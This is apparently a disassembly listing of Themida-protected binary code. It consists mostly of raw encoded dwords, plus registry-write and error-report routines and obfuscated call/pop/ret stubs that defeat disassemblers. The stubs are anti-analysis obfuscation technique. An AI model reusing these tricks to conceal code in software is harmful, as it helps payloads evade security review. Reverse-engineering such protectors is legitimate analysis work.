		dd 25CB8589h, 8D890AE6h, 0AE31D61h, 25CBB5FFh, 66600AE6h
		dd 8166F78Bh, 61B240D9h, 154995FFh, 958B0AE3h, 0AE31D45h
		dd 0AE8h, 5C803100h, 0ABA0D127h, 8946DA38h, 0E32EE995h
		dd 0C085590Ah, 2850Fh, 0D18B0000h, 6A106Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 0E6AFAFC3h
		dd 89F08B60h, 0E31F258Dh, 0BD83610Ah, 0AE30231h, 1E840F00h
		dd 80000000h, 858DACD2h, 0AE62624h, 809B529h, 0B5890AE3h
		dd 0AE31DDDh, 3BE9h, 72B96600h,	0FA858D2Fh, 6A0AE625h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 136DC350h, 0AE9h,	69BAC900h, 30A3DD54h, 0BFAD3531h
		dd 3C5144FAh, 5952350h,	0FF0AE32Ch, 0E625C7B5h,	0D98D330Ah
		dd 0FF0AE332h, 0E625BF95h, 6890F0Ah, 8B000000h,	0E3148DBDh
		dd 0FC0850Ah, 985h, 0FB8B6600h,	100D8D8Bh, 85890AE3h, 0AE625CBh
		dd 20358D8Bh, 6A0AE3h, 8ECABF66h, 7FBA006Ah, 0FF524277h
		dd 0E625CBB5h, 0FE90Ah,	0D3AA0000h, 4454AA65h, 0AE4EDAB0h
		dd 1945873Dh, 21BD8BEEh, 0FF0AE335h, 0E625B795h, 4D85010Ah
		dd 850AE303h, 1850FC0h,	0F8000000h, 25CBB5FFh, 0BE90AE6h
		dd 0FF000000h, 8C7EEA76h, 0BD402976h, 95FFC50Bh, 0AE31549h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 89C35040h
		dd 0E18D0960h, 610AE31Dh, 850FC085h, 6,	930DDF81h, 6A7C09h
		dd 7DECF281h, 80682D0Fh, 9000000h, 0E31CDD85h, 6A036A0Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 51E7C355h, 15360B6h, 0E32531BDh, 0FE8590Ah
		dd 0A8000000h, 49C28ACFh, 0E9626758h, 0F895C7FEh, 585680A1h
		dd 6A615Eh, 6A7EDA80h, 5E900h, 82690000h, 68F5AC3Fh, 0C0000000h
		dd 901BD23h, 0B5FF0AE3h, 0AE62643h, 0C2E8BF66h,	18C195FFh
		dd 0FBB90AE3h, 832854C8h, 850FFFF8h, 480h, 0AE9h, 0ACF1CF00h
		dd 4114AEA7h, 0FFBA31EFh, 0E630B185h, 97C7810Ah, 0E9035EA5h
		dd 0Bh,	38F3F449h, 62F659D2h, 839B6F22h, 0E630B1BDh, 840F020Ah
		dd 39Fh, 858DC88Bh, 5B243Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0EAC35343h,	0D0FF9F8Ah, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 31C35747h, 301D95DAh
		dd 8E858D6Bh, 89005B1Eh, 0E32DAD85h, 0FFD38B0Ah, 168D0FD0h
		dd 60000000h, 2285858Bh, 8E80AE3h, 47000000h, 99066372h
		dd 5EEB699Bh, 6E961h, 66890000h, 2177A38Ah, 8A0FC08Bh
		dd 16h,	11E9h, 9F7ECF00h, 0B50FFF15h, 7723C0EDh, 9D9C85A1h
		dd 0BD836B82h, 0AE32569h, 83097500h, 0E3198DBDh, 1974000Ah
		dd 0C08B5350h, 7D8B8h, 95858900h, 8D0AE32Dh, 0E5DDC59Dh
		dd 5BD3FF0Ah, 8DBD8358h, 0AE319h, 53501774h, 7D8B8h, 95858900h
		dd 8D0AE32Dh, 0E5DAB49Dh, 5BD3FF0Ah, 6840F58h, 89000000h
		dd 0E303E5BDh, 699D010Ah, 0E90AE313h, 6, 0A9A173C1h, 0C08B9DDAh
		dd 0F003F68h, 95E98100h, 6A4CDC6Ch, 0D1B70F00h,	0C10AAEBFh
		dd 81006A43h, 0DD07FBD7h, 0FFF98B56h, 0E3119195h, 50006A0Ah
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 1FE78470h, 0F8B1CAF7h, 958B33BDh, 0AE32EC5h,	8D8BC085h
		dd 0AE32969h, 25C78589h, 0B70F0AE6h, 1FF68D7h, 9E9000Fh
		dd 15000000h, 376C7246h, 3756365Bh, 231BD83h, 0F000AE3h
		dd 1784h, 0FD958900h, 8D0AE306h, 0E6262485h, 0FD9D890Ah
		dd 0E90AE303h, 0Bh, 25FA858Dh, 81660AE6h, 50A32BE1h, 0CE8h
		dd 9447E500h, 9685039Ah, 200EED23h, 0FB8B663Ch,	0C7B5FF5Ah
		dd 6A0AE625h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 145CC352h, 0FFF846CFh,	0E625BF95h
		dd 5E90Ah, 0F3280000h, 0B55E7E2Ch, 0CB8589EAh, 0E90AE625h
		dd 13h,	0DB1D2E2Fh, 0BCF261B5h,	360C10D4h, 9DCC2281h, 0C7B80A32h
		dd 0E3201185h, 0Ah, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 28ACE45Ah, 6F8B00BFh
		dd 25CBBD83h, 0F000AE6h, 12584h, 0A19D8900h, 0F0AE30Ah
		dd 68Eh, 699D8900h, 8D0AE31Fh, 0E628A985h, 518D290Ah, 500AE325h
		dd 89016AFCh, 0E315C59Dh, 0CBB5FF0Ah, 0F0AE625h, 389h
		dd 0D1B70F00h, 2265BD09h, 95FF0AE3h, 0AE625C3h,	0DA96D781h
		dd 0B5FF2089h, 0AE625CBh, 0C78AD281h, 95FF451Fh, 0AE31549h
		dd 0F01FF68h, 6E900h, 0B9A50000h, 0FFEEBB8Ch, 2D953157h
		dd 5A0AE31Ah, 231BD83h,	0F000AE3h, 3A84h, 0C9BD8B00h, 8D0AE301h
		dd 0E6262485h, 57006A0Ah, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0D781E316h, 5FC89B00h
		dd 12E9h, 49BD3100h, 8D0AE332h,	0E625FA85h, 185290Ah, 500AE309h
		dd 63D98166h, 0C7B5FFA4h, 0F0AE625h, 68Bh, 0B9BD2300h
		dd 0FF0AE314h, 0E625BF95h, 8589FC0Ah, 0AE625CBh, 0E9958951h
		dd 5A0AE31Ah, 25CBB5FFh, 85890AE6h, 0AE31C59h, 25BB95FFh
		dd 85890AE6h, 0AE31809h, 25CBB5FFh, 0BA660AE6h,	95FF5BBBh
		dd 0AE31549h, 89850360h, 8B0AE331h, 8CE961F2h, 51FFFFF7h
		dd 13E8h, 9E215000h, 40E31E24h,	0FF579CB7h, 0E594E8D1h
		dd 99C3E836h, 590ADD80h, 0BD9D095Ah, 0FF0AE32Eh, 0E63114B5h
		dd 57006A0Ah, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 89946C69h, 0E3110185h, 0B595FF0Ah, 660AE326h
		dd 858BCE8Bh, 0AE31325h, 533E9h, 8DF98B00h, 0E628C9B5h
		dd 0D0B70F0Ah, 0D795858Dh, 81660AE5h, 0FF9E08F1h, 8D958BD0h
		dd 290AE307h, 0E309BDB5h, 52006A0Ah, 1B8DBD8Bh,	1590AE3h
		dd 0E32C65B5h, 9995FF0Ah, 8B0AE310h, 0E304DD8Dh, 60F38B0Ah
		dd 1075B529h, 0C38B0AE3h, 95858D61h, 8B0AE5D7h,	8BD0FFFBh
		dd 0E3153DBDh, 66006A0Ah, 83C3E281h, 109995FFh,	0CF8A0AE3h
		dd 9D89C08Bh, 0AE32FC1h, 2569BD83h, 75000AE3h, 8DBD8309h
		dd 0AE319h, 53501974h, 0D9B8C08Bh, 89000007h, 0E32D9585h
		dd 0C59D8D0Ah, 0FF0AE5DDh, 83585BD3h, 0E3198DBDh, 1774000Ah
		dd 0D9B85350h, 89000007h, 0E32D9585h, 0B49D8D0Ah, 0FF0AE5DAh
		dd 50585BD3h, 198D23h, 815A0AE3h, 7A8EF9C2h, 33C08B69h
		dd 0E3092195h, 0F56500Ah, 8Ah, 0D88B5900h, 8D53CA8Bh, 0E332519Dh
		dd 89038B0Ah, 50438B03h, 8D504389h, 0E630AD9Dh,	89038B0Ah
		dd 8B665B03h, 0BE8D0h, 787D0000h, 80AB6807h, 589B2216h
		dd 29BD8979h, 590AE330h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h
		dd 140424h, 51410000h, 858DA8C3h, 0AE630ADh, 5015E580h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 3CC35242h
		dd 9D614602h, 6800FF5h,	8B000000h, 0E31F7D8Dh, 0E9606A0Ah
		dd 0Ch,	0C72EB997h, 6EAD0BC5h, 0B90DCACBh, 3251858Dh, 6A500AE3h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 412DC357h, 0DDB50146h, 6A0AE31Bh,	2B08B900h
		dd 6A0606h, 15CDBD01h, 680AE3h,	0E9000018h, 12h, 0EFBD7C79h
		dd 8609E39Dh, 0FCB87B85h, 85AC6FBDh, 2B53F339h,	0E312258Dh
		dd 0D195FF0Ah, 0BA0AE303h, 0AF07539h, 11DD95FFh, 8D010AE3h
		dd 0AE30509h, 3114B5FFh, 860F0AE6h, 6, 1081BD29h, 95FF0AE3h
		dd 0AE326B5h, 34D98D8Bh, 858D0AE3h, 0AE33251h, 0D98B6660h
		dd 1A3D8589h, 8B610AE3h, 6A1840h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 66B61EC3h, 59D9E781h
		dd 29B985C7h, 0AE3h, 0BD090000h, 0AE31CA5h, 231BD83h, 0F000AE3h
		dd 4684h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0E1805384h, 8B575984h, 0E334E595h
		dd 8501590Ah, 0AE31D19h, 8C3Dh,	0B8830F00h, 0F000001h
		dd 2FE9D7B7h, 66000000h, 3D1799BAh, 98h, 1A1830Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 66B88FC3h, 858DCB8Bh, 5B243Bh, 6A1BD23h, 0D0FF0AE3h
		dd 89F78166h, 8E858D18h, 50005B1Eh, 0B18D8B50h,	590AE30Ah
		dd 89D0FF5Ah, 0E326B1BDh, 9C08B0Ah, 0E311799Dh,	69BD830Ah
		dd 0AE325h, 0BD830975h,	0AE3198Dh, 50197400h, 0B8C08B53h
		dd 0BC6h, 2D958589h, 9D8D0AE3h,	0AE5DDC5h, 585BD3FFh, 198DBD83h
		dd 74000AE3h, 0B8535017h, 0BC6h, 2D958589h, 9D8D0AE3h
		dd 0AE5DAB4h, 585BD3FFh, 48D5B966h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0D8C35040h,	298BCA91h, 0D48E7B43h
		dd 8BD2BF0Fh, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0BF0FFE5Bh, 0FFF883D1h, 80850Fh
		dd 81660000h, 0C73E06C7h, 0E3101585h, 0Ah, 38F0F00h, 66000000h
		dd 16E9D08Bh, 6A000001h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 307C353h, 2AB32DA0h
		dd 8D8BD38Bh, 0AE33071h, 57E9h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 56974E75h
		dd 8D0910A6h, 0AE30655h, 1BD8B60h, 8B0AE320h, 0E3290D9Dh
		dd 0F883610Ah, 19850F01h, 0F000000h, 189h, 0F5E9F500h
		dd 52000000h, 58E0Fh, 81660000h, 5A2516EAh, 0FFF2DAE9h
		dd 958D8BFFh, 8B0AE314h, 69BD83C0h, 0AE325h, 0BD830975h
		dd 0AE3198Dh, 50197400h, 0B8C08B53h, 7DDh, 2D958589h, 9D8D0AE3h
		dd 0AE5DDC5h, 585BD3FFh, 198DBD83h, 74000AE3h, 0B8535017h
		dd 7DDh, 2D958589h, 9D8D0AE3h, 0AE5DAB4h, 585BD3FFh, 6CD9D29h
		dd 0BF0F0AE3h, 89C08BD1h, 0E31EB98Dh, 2960500Ah, 0E30A599Dh
		dd 48BA660Ah, 0E95961DCh, 21Ch,	10E9h, 0EE25DE00h, 0E8DA52C1h
		dd 7A19E9D7h, 4E4659C2h, 0B1858D62h, 6A0AE62Eh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0BDFCC356h, 3985AC6Fh, 0E8026FF3h, 0Ch, 0AE21C0FBh
		dd 8CB45DAEh, 6BC2424h,	8B6659F8h, 0BCABB9C8h, 85890B24h
		dd 0AE630A9h, 1CE9F9h, 95310000h, 0AE30901h, 2CB9858Dh
		dd 0F400AE6h, 8589F9B7h, 0AE630A9h, 12698D29h, 346A0AE3h
		dd 945858Dh, 0FF500AE3h, 0E630A9B5h, 0FF006A0Ah, 0E31F5595h
		dd 7F8830Ah, 168840Fh, 8C660000h, 4C3F6DBh, 102850Fh, 85C60000h
		dd 0AE31CF1h, 0B8526856h, 0B5FF9CA8h, 0AE33145h, 3AF9858Dh
		dd 0D0FF0AE3h, 68046Ah,	6A000010h, 0FF006A64h, 1C8589D0h
		dd 0C60AE631h, 0E31CF185h, 9B68470Ah, 0FFEC18ACh, 0E33145B5h
		dd 0F9858D0Ah, 0FF0AE33Ah, 8BD0FFD0h, 0F185C6F0h, 4F0AE31Ch
		dd 2F266168h, 0B5B5FFC6h, 8D0AE304h, 0E33AF985h, 8DD0FF0Ah
		dd 0E631189Dh, 286A530Ah, 85D0FF56h, 0C60075C0h, 0E31CF185h
		dd 9868410Ah, 0FFDB8764h, 0E304B5B5h, 0F9858D0Ah, 0FF0AE33Ah
		dd 358589D0h, 0C60AE631h, 0E31CF185h, 0A4684C0Ah, 0FF80A4E7h
		dd 0E304B5B5h, 0F9858D0Ah, 0FF0AE33Ah, 1C9D8BD0h, 8D0AE631h
		dd 8D53045Bh, 0E631219Dh, 6A530Ah, 9D8BD0FFh, 0AE6311Ch
		dd 103C7h, 43C70000h, 20Ch, 799D8B00h, 0C70AE32Fh, 0E3204185h
		dd 0Ah,	6A006A00h, 8B006A00h, 0E6311C9Dh, 6A530Ah, 3118B5FFh
		dd 95FF0AE6h, 0AE63135h, 1CF185C6h, 68450AE3h, 92A5F797h
		dd 3565B5FFh, 858D0AE3h, 0AE33AF9h, 6AD0FFh, 0D0FF026Ah
		dd 0F6DB8C66h, 327504C3h, 311C9D8Bh, 43C70AE6h,	0Ch, 6A006A00h
		dd 1C9D8B00h, 530AE631h, 0B5FF006Ah, 0AE63118h,	313595FFh
		dd 0B5FF0AE6h, 0AE63118h, 11DD95FFh, 6A0AE3h, 109995FFh
		dd 0F88B0AE3h, 9589CF8Bh, 0AE31FC1h, 6316858Dh,	6A0AE6h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0E82289C3h, 14h, 0F52B911Bh,	6CACE899h, 0E0B10E9h, 42CE39F6h
		dd 4F102D17h, 8EB1C781h, 50596C6Ah, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 4BC35747h, 609146B2h, 14C1BD8Bh
		dd 0F08B0AE3h, 35FF6461h, 0
		dd 9CB4BF66h, 318D8Bh, 89640AE3h, 25h, 7E800h, 33E60000h
		dd 373C84E7h, 0AFEFBFABh, 835F050Fh, 0E3218DBDh, 840F000Ah
		dd 94h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h
		dd 0D2C35646h, 3194F932h, 0E32D3D85h, 4880F0Ah,	50000000h
		dd 835956B2h, 0E32269BDh, 850F010Ah, 58h, 8800Fh, 66600000h
		dd 521FD5BAh, 0BD80615Ah, 0AE63535h, 3D850F00h,	0E8000000h
		dd 5, 1FDCA64Ah, 0A1E95A52h, 6A000001h,	3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 7558C357h
		dd 155EB967h, 8EF50E28h, 0BD89D08Bh, 0AE3352Dh,	6ADB33h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0BD8B86C3h, 0AE31579h, 8E0FC033h, 0Dh, 8E9h,	8803EF00h
		dd 4355E083h, 3F0F40C7h, 8F640B07h, 5, 4C48300h, 20B19589h
		dd 8E0F0AE3h, 6, 649BD31h, 6A0AE3h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0D25E2CC3h
		dd 1E6734CFh, 835D655Ch, 840FFFFBh, 11h, 1E51BD03h, 0BF0F0AE3h
		dd 0D4E9CEh, 0B70F0000h, 60E9D6h, 9D890000h, 0AE31C81h
		dd 0C244C8Bh, 0A481C7h,	0FFFF0000h, 8183FFFFh, 0B8h, 0C3C03304h
		dd 0C245C8Bh, 0E855h, 815D0000h, 0E66338EDh, 0B8838B0Ah
		dd 8D000000h, 0E663E685h, 0B883890Ah, 5D000000h, 0FC3C033h
		dd 0F82h, 7E800h, 52B50000h, 55F054A6h,	5A6160D3h, 8F0Fh
		dd 858D0000h, 0AE6632Eh, 50D38B66h, 60C28166h, 35FF6421h
		dd 0
		dd 0EE80D38Bh, 258964A4h, 0
		dd 0EE860h, 0DC60000h, 2D44AFFDh, 0C2AF0B4Fh, 0FA7384BCh
		dd 2581C681h, 8B5B4ED0h, 0E32C8195h, 0AB9610Ah,	0B8000000h
		dd 4855D704h, 0F7816405h, 0D465BB0Dh, 40BA8685h, 810034B6h
		dd 345FE8EAh, 0FB81ED00h, 564D5868h, 85C70A75h,	0AE301CDh
		dd 1, 58F64h, 83000000h, 0D08B04C4h, 19899D29h,	0C08B0AE3h
		dd 2C959523h, 0BD830AE3h, 0AE32569h, 83097500h,	0E3198DBDh
		dd 1974000Ah, 0C08B5350h, 43DB8h, 19858900h, 8D0AE32Fh
		dd 0E5DE2C9Dh, 5BD3FF0Ah, 8DBD8358h, 0AE319h, 53501774h
		dd 43DB8h, 19858900h, 8D0AE32Fh, 0E5DACD9Dh, 5BD3FF0Ah
		dd 52006A58h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 7D92055Eh, 68E0Fh, 0B5290000h, 0AE31469h
		dd 6071C280h, 5FC98166h, 11E900h, 0A4390000h, 0A352A0A2h
		dd 0DD6E473Fh, 0F706A9C5h, 6190C27Bh, 47E9C08Bh, 4000001h
		dd 31000000h, 3031392Eh, 7 dup(0)
		db    0
aExceptionInfor	db 'Exception Information',0
		db 50h
		dd 7361656Ch, 63202C65h, 61746E6Fh, 74207463h, 73206568h
dword_5B89E0	dd 7774666Fh						; Themida_:00589011r
aAreDevelopersW	db 'are developers with the following codes. Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+0AE30351h], 0
		jz	loc_5B8C10
		lea	eax, [ebp+0AE5D8E4h]
		push	eax
		lea	eax, [ebp+0AE5D84Eh]
		push	eax
		push	80000001h
		call	dword ptr [ebp+0AE5D8F4h]
		lea	eax, [ebp+0AE6649Dh]
		push	eax
		lea	eax, [ebp+0AE664A7h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+0AE5D862h]
		push	eax
		push	dword ptr [ebp+0AE5D8E4h]
		call	dword ptr [ebp+0AE32C79h]
		lea	eax, [ebp+0AE6649Dh]
		push	eax
		lea	eax, [ebp+0AE664ABh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+0AE5D874h]
		push	eax
		push	dword ptr [ebp+0AE5D8E4h]
		call	dword ptr [ebp+0AE32C79h]
		lea	eax, [ebp+0AE6649Dh]
		push	eax
		lea	eax, [ebp+0AE664B7h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+0AE5D8C1h]
		push	eax
		push	dword ptr [ebp+0AE5D8E4h]
		call	dword ptr [ebp+0AE32C79h]
		lea	eax, [ebp+0AE6649Dh]
		push	eax
		lea	eax, [ebp+0AE664BFh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+0AE5D8DFh]
		push	eax
		push	dword ptr [ebp+0AE5D8E4h]
		call	dword ptr [ebp+0AE32C79h]
		lea	eax, [ebp+0AE6649Dh]
		push	eax
		lea	eax, [ebp+0AE664BBh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+0AE5D8C8h]
		push	eax
		push	dword ptr [ebp+0AE5D8E4h]
		call	dword ptr [ebp+0AE32C79h]
		lea	eax, [ebp+0AE6649Dh]
		push	eax
		lea	eax, [ebp+0AE664AFh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+0AE5D8D0h]
		push	eax
		push	dword ptr [ebp+0AE5D8E4h]
		call	dword ptr [ebp+0AE32C79h]
		lea	eax, [ebp+0AE6649Dh]
		push	eax
		lea	eax, [ebp+0AE664B3h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+0AE5D8D7h]
		push	eax
		push	dword ptr [ebp+0AE5D8E4h]
		call	dword ptr [ebp+0AE32C79h]
		push	dword ptr [ebp+0AE5D8E4h]
		call	dword ptr [ebp+0AE31A91h]
		jmp	loc_5B8CB2
; ---------------------------------------------------------------------------


loc_5B8C10:				; CODE XREF: Themida_:005B8ADDj
		cmp	dword ptr [ebp+0AE318F5h], 0
		jz	loc_5B8CB2
		cmp	dword ptr [ebp+0AE32269h], 0
		jnz	loc_5B8C3B
		mov	edx, [ebp+0AE321A9h]
		add	edx, 1CF8h
		jmp	loc_5B8C4A
; ---------------------------------------------------------------------------


loc_5B8C3B:				; CODE XREF: Themida_:005B8C24j
		lea	edx, [ebp+0AE33251h]
		mov	edx, [edx+34h]
		add	edx, 3BD4C340h


loc_5B8C4A:				; CODE XREF: Themida_:005B8C36j
		mov	[ebp+0AE316F9h], edx
		cmp	dword ptr [ebp+0AE316F9h], 0
		jz	loc_5B8CB2
		mov	ebx, [ebp+0AE316F9h]
		add	ebx, 4Ch
		mov	eax, [ebx]
		mov	[ebp+0AE664A7h], eax
		mov	ebx, [ebp+0AE316F9h]
		add	ebx, 50h
		mov	eax, [ebx]
		mov	[ebp+0AE664ABh], eax
		mov	ebx, [ebp+0AE316F9h]
		add	ebx, 54h
		mov	eax, [ebx]
		mov	[ebp+0AE664B7h], eax
		mov	ebx, [ebp+0AE316F9h]
		add	ebx, 58h
		mov	eax, [ebx]
		mov	[ebp+0AE664BBh], eax
		mov	ebx, [ebp+0AE316F9h]
		add	ebx, 5Ch
		mov	eax, [ebx]
		mov	[ebp+0AE664AFh], eax


loc_5B8CB2:				; CODE XREF: Themida_:005B8C0Bj
					; Themida_:005B8C17j ...
		cmp	dword ptr [ebp+0AE30351h], 0
		jnz	loc_5B8CCC
		cmp	dword ptr [ebp+0AE318F5h], 0
		jz	loc_5B8D34


loc_5B8CCC:				; CODE XREF: Themida_:005B8CB9j
		push	dword ptr [ebp+0AE664BFh]
		push	dword ptr [ebp+0AE664B3h]
		push	dword ptr [ebp+0AE664AFh]
		push	dword ptr [ebp+0AE664BBh]
		push	dword ptr [ebp+0AE664B7h]
		push	dword ptr [ebp+0AE664ABh]
		push	dword ptr [ebp+0AE664A7h]
		lea	eax, [ebp+0AE664A1h]
		push	eax
		lea	eax, [ebp+0AE664D9h]
		push	eax
		lea	eax, [ebp+0AE30AF1h]
		push	eax
		call	dword ptr [ebp+0AE32E61h]
		add	esp, 24h
		push	40h
		lea	eax, [ebp+0AE664C3h]
		push	eax
		lea	eax, [ebp+0AE30AF1h]
		push	eax
		push	0
		call	dword ptr [ebp+0AE31F55h]
		push	1
		call	dword ptr [ebp+0AE31099h]


loc_5B8D34:				; CODE XREF: Themida_:005B8CC6j
		mov	eax, ecx
		pusha
		push	0
		push	ebp
		call	sub_5B8D42
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8D42	proc near		; CODE XREF: Themida_:005B8D3Ap

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5B8D42	endp

; ---------------------------------------------------------------------------
		shr	bl, 81h
		mov	ebp, 602C7D02h
		aad	14h
		mov	ecx, 56832A31h
		mov	eax, eax
		push	0
		push	edx
		call	sub_5B8D6E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8D6E	proc near		; CODE XREF: Themida_:005B8D66p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5B8D6E	endp

; ---------------------------------------------------------------------------
		dw 66E2h
		dd 810F031Dh, 5, 0A2D28166h, 83C88A84h,	0E32569BDh, 975000Ah
		dd 198DBD83h, 74000AE3h, 8B535019h, 40EB8C0h, 85890000h
		dd 0AE32D95h, 0DDC59D8Dh, 0D3FF0AE5h, 0BD83585Bh, 0AE3198Dh
		dd 50177400h, 40EB853h,	85890000h, 0AE32D95h, 0DAB49D8Dh
		dd 0D3FF0AE5h, 9E8585Bh, 0E7000000h, 8F4A7B3Fh,	93CF8787h
		dd 0C760BE66h, 52006A59h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 608CF211h, 80F3B70Fh
		dd 0E961FCF3h, 10h, 0E4FD8098h,	8FD7C39h, 0C3D722BAh, 80DB33Eh
		dd 13E9C08Bh, 0CC000000h, 0F5A18719h, 3D6A6CD7h, 0F765DE6Bh
		dd 41A50910h, 0BD838C0Eh, 0AE3218Dh, 5E840F00h,	6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 630CC353h, 12E9h,	31F4D700h, 0DE7FB5B1h
		dd 4D6739D1h, 0DEDB30ADh, 0E9B45155h, 2A9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 1EC35545h, 815640BCh
		dd 1C01E6DEh, 0FDF8C62h, 58Fh, 3386BE00h, 0F766418Eh, 0F0004C7h
		dd 26C85h, 1830F00h, 0F8000000h, 8840Fh, 0F600000h, 8Ah
		dd 0BD836100h, 0AE30231h, 3E850F00h, 6A000000h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 8964C351h, 6D66F2D3h, 9A883442h, 0EE9h, 0FD3F400h, 2C5B4539h
		dd 88868286h, 0E95C8CACh, 20Dh,	0BFF9h,	0B9660000h, 9D8DD1B4h
		dd 0AE66BF8h, 0AE850F5h, 0B7000000h, 60BE31ABh,	0DE535477h
		dd 0BE83BE5Dh, 89590029h, 6A241Ch, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 35DDDEC3h, 0D78B6661h
		dd 35FF64h, 0F000000h, 8964F3B7h, 25h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 4436A995h, 864683Ah,	6AC48B1Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0AF99C352h
		dd 649459A0h, 8BCD5B84h, 0EB01CDF0h, 0D0BF0F00h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0B7C35141h, 0FD9B563h
		dd 38Bh, 0F38B6600h, 58F64h, 6A000000h,	3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0DE3AC351h
		dd 810A77E6h, 0BDCE4CCAh, 4C48346h, 9E8h, 1DBBF100h, 3E1D2306h
		dd 5AFC1765h, 840FC00Bh, 0EDh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0C5C35141h,	0A3B11726h, 87744BBEh
		dd 6A6146h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 8D3567C3h, 0E37204BDh, 1E810F0Ah,	0F000000h
		dd 1886h, 13E900h, 29E20000h, 0B1A62934h, 0E0D0DE1Ch, 383C77D8h
		dd 9BC21CD5h, 1B838h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 517BFCC3h, 1870FF8h
		dd 0F8000000h, 3850Fh, 0B70F0000h, 0FE7FFD0h, 8B57F6BFh
		dd 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h, 0B083h, 0B8838300h
		dd 2000000h, 0C3C0335Fh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 17h, 46C35242h, 81D7C2C0h,	0F5DA14D9h, 0B966616Eh
		dd 0C08B5E21h, 83F6B70Fh, 0E32569BDh, 975000Ah,	198DBD83h
		dd 74000AE3h, 8B535019h, 40EB8C0h, 85890000h, 0AE32F19h
		dd 0DE2C9D8Dh, 0D3FF0AE5h, 0BD83585Bh, 0AE3198Dh, 50177400h
		dd 40EB853h, 85890000h,	0AE32F19h, 0DACD9D8Dh, 0D3FF0AE5h
		dd 0F681585Bh, 6A301AA1h, 4665D981h, 0C08B3E74h, 814E981h
